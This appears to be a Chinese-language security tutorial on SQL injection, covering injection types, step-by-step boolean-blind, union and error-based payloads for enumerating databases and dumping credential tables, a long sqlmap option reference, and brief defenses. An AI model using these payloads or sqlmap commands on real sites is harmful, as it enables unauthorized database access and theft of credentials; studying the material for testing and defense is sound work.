基础漏洞:SQL注入漏洞

目录

SQL注入简介

SQL注入分类

1、参数类型分类

2、数据提交方式分类

3、注入手法分类

漏洞工具:sqlmap

sqlmap命令

防御


SQL注入简介

定义:SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。

原理:将用户的输入插入到SQL语句中,用户的输入被当做代码执行

SQL注入分类

1、参数类型分类

(1)数字型注入:

类似结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字。

select * from 表名 where id=1 and 1=1

(2)字符型注入:

类似结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。

select * from 表名 where name='admin' and 1=1 '

两者最大的区别:字符型注入一般要使用单引号进行闭合,而数字型注入则不需要;

2、数据提交方式分类

(1)GET 注入

提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。

(2)POST 注入

使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。

(3)Cookie 注入

HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。

(4)HTTP 头部注入

注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

3、注入手法分类

基于布尔的盲注

布尔型盲注步骤和语句

1.判断当前数据库名长度与数据库名称 and select length(database())>n //判断数据库名长度 and ascii(substr(database(),m,1))>n //截取数据库名第m个字符并转换成ascii码 判断具体值

2.判断数据库的表长度与表名

and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))>n //判断第一行表名的长度

and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),m,1))>n //截取第一行表名的第m个字符串转换为ascii值判断具体为多少

3.判断数据库的字段名长度与字段名称

and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>n //判断表名中字段名的长度

adn ascii((substr(select column_name from information_schema.columns where table_name='users' limit 0,1),m,1))>n //截取表中字段的第m字符串转换为ascii值,判断具体值

4.判断字段的内容长度与内容字符串 and length((select user from users limit 0,1)) >1 //判断字符串内容长度

and ascii(substr((select user from users limit 0,1),m,1)) //截取第m个字符串转换为ascii值

时间盲注

基于时间的SQL盲注入方式通常是在SQL语句中添加延时函数,依据相应时间来判断是否存在SQL注入,常用的延时函数或指令有sleep、repeat等。

联合查询注入

1.判断是否存在注入点

  and 1=1 --+

  and 1=2 --+

2.判断所在的数据库有几列

  'order by 1 #

3.判断他显示的内容在数据库的第几列

  union select 1 #

4.查找当前用户权限

  union select user() #

5.查找当前数据库

  union select database() #

6.查找数据库的表名

 union select (select table_name from information_schema.tables where table_schema='grade' limit 0,1) #

7.查询数据库中表下的字段

union select (select group_concat(column_name) from information_schema.columns where table_schema='grade' and table_name='admins')#

8.查询数据库下字段中的内容。

union select (select group_concat(id ,0x3a,name,0x3a,pass) from grade.admins)#

报错注入

  1. 只要注入点有sql报错信息,那么就可以使用报错注入;

  2. 还是一样,引号报错,然后找到闭合规则,页面正常显示,则可以在闭合规则中开始写入报错注入的sql语句;

  3. updatexml报错获取当前数据库:

    and updatexml(1,concat(0x7e,(select database()),0x7e),1)
  4. floor报错获取当前数据库:

    and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a)
  5. 两种方式都可行,如果第一个不行就试试第二个

  6. 接着可以利用select语句替换掉上面database()来继续获取数据库中的表名、字段名,查询语句和union注入攻击的语句相同;

  7. 只不过这里不能再使用group_concat了,因为报错注入只显示一条结果,所以需要使用limit语句;

漏洞工具:sqlmap

它支持五种注入模式

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。 2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。 3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。 4、联合查询注入,可以使用union的情况下的注入。 5、堆查询注入,可以同时执行多条语句的执行时的注入.

sqlmap命令

options

--version:显示当前sqlmap的版本号

-h:显示帮助信息

-hh:显示详细的帮助信息

-v VERBOSE:详细级别,VERBOSE为数字,默认为1

Target

-d DIRECT:直接连接到数据库

-u URL--url=URL:目标地址(URL)

-l LOGFILE:从Burp或WebScarab代理的日志中解析目标

-x SITEMAPURL:从一个XML文件中解析目标

-m BULKFILE:扫描文本文件中的多个目标

-r REQUESTFILE:从文件中导入HTTP请求(通常用于检查POST请求中的SQL注入)

-g GOOGLEDORK:处理Google Dork的结果作为目标URL

-c CONFIGFILE:从ini文件中加载选项

Request

--method=MEHOTD:强制指定HTTP方法(如PUT)

--data=DATA:指定POST请求的参数

--param-del=PARAMDEL:指定参数的分隔符(如:&)

--cookie=COOKIE:指定HTTP请求的Cookie

--cookie-del=COOKIEDEL:指定Cookie的分隔符(如:分号;)

--load-cookies=LOADCOOKIES:指定以Netscape或wget且包含cookie的文件

--drop-set-cookie:忽略返回包中的Set-Cookie字段

--user-agent:指定HTTP头部的user-agent值

--random-agent:设置随机的HTTP User-Agent

--host=HOST:指定HTTP头部的host值

--referer=REFERER:指定HTTP头部中的referer值

-H=HEADER:指定HTTP其他头部信息

--headers=HEADERS:指定HTTP其他头部信息

--auth-type=AUTHTYPE:指定HTTP的认证类型(Basic,Digest,NTLM,PKI)

--auth-cred=AUTHCRED:指定HTTP认证凭证(name:password)

--auth-file=AUTHFILE:指定HTTP认证PEM认证/私钥文件

--ignore-code=IGNORECODE:忽略指定的HTTP错误码(如:401)

--ignore-proxy:忽略系统默认代理

--ignore-redirects:忽略重定向尝试

--ignore-timeouts:忽略连接超时

--proxy=PROXY:指定代理地址

--proxy-cred=PROXYCRED:指定代理认证凭据(name:password)

--proxy-file=PROXYFILE:从指定文件中加载代理数据

--tor:使用tor匿名网络(通常需要提高默认的响应时长,且需要指定Tor的代理地址)

--tor-port=TORPORT:设置TOR代理的端口(修改默认端口)

--tor-type=TORTYPE:设置TOR代理的类型(HTTP,SOCKS4,SOCKS5默认)

--check-tor:检查tor能否正常使用

--delay=DELAY:设置每个HTTP请求的间隔时间(单位:秒)

--timeout=TIMEOUT:设置超时连接前等待的时间(单位:秒)

--retries=RETRIES:设置连接超时重新尝试的次数(默认为3)

--randomize=RPARAM:随机更改给定参数的值

--safe-url=SAFEURL:指定在测试期间频繁访问的URL

--safe-post=SAFEPOST:POST数据发送到安全URL

--safe-req=SAFEREQ:从文件中加载HTTP请求

--safe-freq=SAFEFREQ:在两次访问安全网址之间的测试请求

--skip-urlencode:跳过经过URL编码的payload数据

--csrf-token=CSRFTOKEN:指定CSRF-TOKEN值

--csrf-url=CSRFURL:指定提取CSRF-TOKEN的URL值

--force-ssl:强制使用SSL协议

--hpp:使用HTTP参数pollution的方法

--eval:评估请求之前提供Python代码

Optimization

-o:开启所有优化开关

--predict-output:预测常见的查询输出

--keep-alive:使用持久的HTTP(S)连接

--null-connection:从没有实际的HTTP响应体中检索页面长度

--threads=THREADS:设置请求的并发数

Injection

-p TESTPARAMETER:指定需要测试的参数

--skip=SKIP:跳过指定参数的测试

--skip-static:跳过非动态参数的测试

--param-exclude=PARAMEXCLUDE:使用正则排除要测试的参数

--dbms=DBMS:强制指定数据库管理系统的类型

--dbms-cred=DBMSCRED:指定DBMS认证凭证(name:password)

--os=OS:指定后端DBMS的操作系统

--invalid-logical:使用大数字使值无效

--invalid-string:使用随机字符串使值无效

no-cast:关闭有效载荷

--no-escape:关闭字符串转义机制

--prefix=PREFIX:注入payload字符串前缀

--suffix=SUFFIX:注入payload字符串后缀

--tamper=TAMPER:使用给定脚本篡改注入数据

Detection

--level=LEVEL:指定执行检测的等级(1-5,默认为1)

--risk=RISK:指定执行检测的风险(1-5,默认为1)

--string=STRING:查询有效时在页面匹配字符串

--not-string=NOTSTRING:查询无效时在页面匹配字符串

--regexp=REGEXP:查询有效时在页面匹配正则表达式

--code=CODE:查询有效时匹配的HTTP返回码

--text-only:基于文本内容比较网页

--titles:基于标题比较网页

Techniques

--technique=TECH:指定SQL注入的技术(默认为BEUST)

--time-sec=TIMESEC:DBMS响应的延迟时间

--union-cols=UCOLS:指定UNION查询注入使用的列

--union-char=UCHAR:指定暴力猜解列数的字符

--union-from=UFROM:指定UNION查询注入的FROM部分使用的表

--dns-domain=DNSDOMAIN:域名用于DNS漏出攻击

Enumeration

-a--all:检索一切

-b,--banner:检索数据库管理系统的标识

--current-user:检索数据库管理系统的当前用户名

--current-db:检索DBMS的当前数据库名称

--hostname:检索数据库服务器的主机名

--is-dba:检测DBMS当前用户是否为DBA

--users:枚举DBMS的用户名

--passwords:枚举DBMS用户密码哈希

--privileges:枚举DBMS用户的权限

--roles:枚举DBMS用户的角色

--dbs:枚举DBMS所有的数据库名称

--tables:枚举DBMS数据库中所有的表

--columns:枚举DBMS数据库表中所有的列名

--schema:枚举数据库架构

--count:检索表的记录数

--dump:转储DBMS的数据库中的表项

--dump-all:转储DBMS的数据库中的所有表项

--search:搜索列、表、数据库名称

--commnets:检索数据库的comments

-D DB:指定要枚举的数据库名称

-T TBL:指定要枚举的数据表名称

-C COL:指定要枚举的数据库列名

-X EXCLUDECOL:指定不要枚举的数据库列名

-U USER:指定要进行枚举的数据库用户名

--exclude-sysdbs:枚举表时排除系统数据库

--where=DUMPWHERE:使用WHERE条件表转储

--start=LIMITSTART:第一个查询输出进入检索

--stop=LIMITSTOP:最后查询的输出进入检索

--first=FIRSTCHAR:第一个查询输出字的字符检索

--last=LASTCHAR:最后查询的输出字字符检索

--sql-query=QUERY:要执行的SQL语句

--sql-file=SQLFILE:从给定文件中执行SQL语句

它支持的数据库

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase,SAP MaxDB

防御

使用参数化筛选语句

采用sql语句预编译和绑定变量

通过正则表达校验用户输入

检查数据类型

使用安全函数

你可能感兴趣的:(sql,web安全,安全)